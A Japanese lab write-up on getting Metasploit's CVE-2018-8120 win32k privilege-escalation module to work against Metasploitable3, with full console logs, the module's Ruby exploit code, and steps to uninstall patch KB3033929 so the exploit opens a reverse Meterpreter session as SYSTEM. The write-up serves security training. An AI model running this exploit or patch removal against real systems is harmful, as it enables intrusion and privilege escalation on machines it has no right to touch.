事象
「ハッキング・ラボのつくりかた」P1086で、windows/local/ms18_8120_win32k_privesc
を実行する項目があります。
しかし、エクスプロイトを実行してもExploit completed, but no session was created
となり、セッションが張れませんでした。
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > exploit
[*] Started reverse TCP handler on 192.168.178.36:4445
[*] Reading payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-8120/CVE-2018-8120x64.exe
[*] EXE's name is: O3r4oyv31Z.exe
[!] Attempting to write CWCOKFpKgkN.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] CWCOKFpKgkN.exe written
[*] Payload uploaded to temp folder
[!] Attempting to write O3r4oyv31Z.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] O3r4oyv31Z.exe written
[*] Location of CVE-2018-8120.exe is: C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\O3r4oyv31Z.exe
[*] Executing command : "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\O3r4oyv31Z.exe" "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\CWCOKFpKgkN.exe"
[+] Exploit finished, wait for privileged payload execution to complete.
[*] Exploit completed, but no session was created.
解決策
Metasploitable3に適用されているKB3033929
のパッチをアンインストールします。
該当のセキュリティパッチをアンインストール後、エクスプロイトを再度実行するとセッションが張れました。
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > exploit
[*] Started reverse TCP handler on 192.168.178.36:4445
[*] Targeting x64 system
[*] Reading payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-8120/CVE-2018-8120x64.exe
[*] EXE's name is: ERGbgHH0fF.exe
[!] Attempting to write zItjGA.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] zItjGA.exe written to local: /home/kali/exploits/CVE-2018-8120/zItjGA.exe
[+] zItjGA.exe written
[*] Payload uploaded to temp folder
[!] Attempting to write ERGbgHH0fF.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] ERGbgHH0fF.exe written to local: /home/kali/exploits/CVE-2018-8120/ERGbgHH0fF.exe
[+] ERGbgHH0fF.exe written
[*] Location of CVE-2018-8120.exe is: C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\ERGbgHH0fF.exe
[*] Executing command : "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\ERGbgHH0fF.exe" "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\zItjGA.exe"
[*] Sending stage (177734 bytes) to 192.168.178.201
[+] Exploit finished, wait for privileged payload execution to complete.
[*] Meterpreter session 6 opened (192.168.178.36:4445 -> 192.168.178.201:49276) at 2025-09-06 01:24:59 -0400
[-] Failed to delete C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\zItjGA.exe: stdapi_fs_delete_file: Operation failed: Access is denied.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
セキュリティパッチのアンインストール方法
Control Panel
を起動します。
Programs
を開きます。
Programs and Features
を開きます。
左にあるView installed updates
を開くと、どのセキュリティパッチがインストールされているかわかります。
KB3033929
はアンインストール済みなので、表示されていません。
削除したいパッチの番号を右クリックすると、アンインストールできます。
原因
分かる範囲でエクスプロイトが刺さらない場合の事象と原因を書きます。
アンインストールしたセキュリティパッチの内容までは深堀れていないので、根本原因は不明です。
EXEが片方作成されない
モジュールの最終的な挙動は、cve_exe
とexe_payload
の2つのEXEファイルを作成し、cve_exe
の引数でexe_payload
を実行するというものです。
2つのEXEファイルは、ターゲットのWindowsマシン上に作成されます。
(省略)
def exploit
cve_fname = check_arch
rexe = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8120', cve_fname)
vprint_status("Reading payload from file #{rexe}")
raw = File.read(rexe)
rexename = "#{Rex::Text.rand_text_alphanumeric(10)}.exe"
vprint_status("EXE's name is: #{rexename}")
exe = generate_payload_exe
tempexename = "#{Rex::Text.rand_text_alpha(6..14)}.exe"
exe_payload = write_file_to_target(tempexename, exe)
vprint_status('Payload uploaded to temp folder')
cve_exe = write_file_to_target(rexename, raw)
command = "\"#{cve_exe}\" \"#{exe_payload}\""
vprint_status("Location of CVE-2018-8120.exe is: #{cve_exe}")
register_file_for_cleanup(exe_payload)
vprint_status("Executing command : #{command}")
cmd_exec_get_pid(command)
print_good('Exploit finished, wait for privileged payload execution to complete.')
end
end
ただ実際には、該当パッチが当たっている際に、エクスプロイトモジュールを実行してもEXEファイルが片方作成されていませんでした。
なぜかエクスプロイトモジュールのログでは、ファイルの作成に成功したと出力されます。
[+] CWCOKFpKgkN.exe written
Fail to alloc null page!
生成された方のEXEファイルを、Windows側で直接実行するとFail to alloc null page!
と出力されます。
[+] Detected kernel ntoskrnl.exe
[-] Fail to alloc null page!
このエラーを調べると、下記Issueを発見しました。
CVE-2018-8120
は、windows/local/ms18_8120_win32k_privesc
が悪用しているCVE番号です。
CVE-2018-8120
についての詳しい記事は、下記が見つかりました。
このIssueの中でKB3033929
のパッチが関係しているというコメントがされていました。
試しにKB3033929
のパッチをアンインストールすると、エクスプロイトモジュールの実行に成功し、システム権限を取得できました。
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > exploit
[*] Started reverse TCP handler on 192.168.178.36:4445
[*] Targeting x64 system
[*] Reading payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-8120/CVE-2018-8120x64.exe
[*] EXE's name is: ERGbgHH0fF.exe
[!] Attempting to write zItjGA.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] zItjGA.exe written to local: /home/kali/exploits/CVE-2018-8120/zItjGA.exe
[+] zItjGA.exe written
[*] Payload uploaded to temp folder
[!] Attempting to write ERGbgHH0fF.exe to C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp
[+] ERGbgHH0fF.exe written to local: /home/kali/exploits/CVE-2018-8120/ERGbgHH0fF.exe
[+] ERGbgHH0fF.exe written
[*] Location of CVE-2018-8120.exe is: C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\ERGbgHH0fF.exe
[*] Executing command : "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\ERGbgHH0fF.exe" "C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\zItjGA.exe"
[*] Sending stage (177734 bytes) to 192.168.178.201
[+] Exploit finished, wait for privileged payload execution to complete.
[*] Meterpreter session 6 opened (192.168.178.36:4445 -> 192.168.178.201:49276) at 2025-09-06 01:24:59 -0400
[-] Failed to delete C:\Windows\SERVIC~2\LOCALS~1\AppData\Local\Temp\zItjGA.exe: stdapi_fs_delete_file: Operation failed: Access is denied.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
エクスプロイト用のEXEファイルも両方作成されてる事を、確認できました。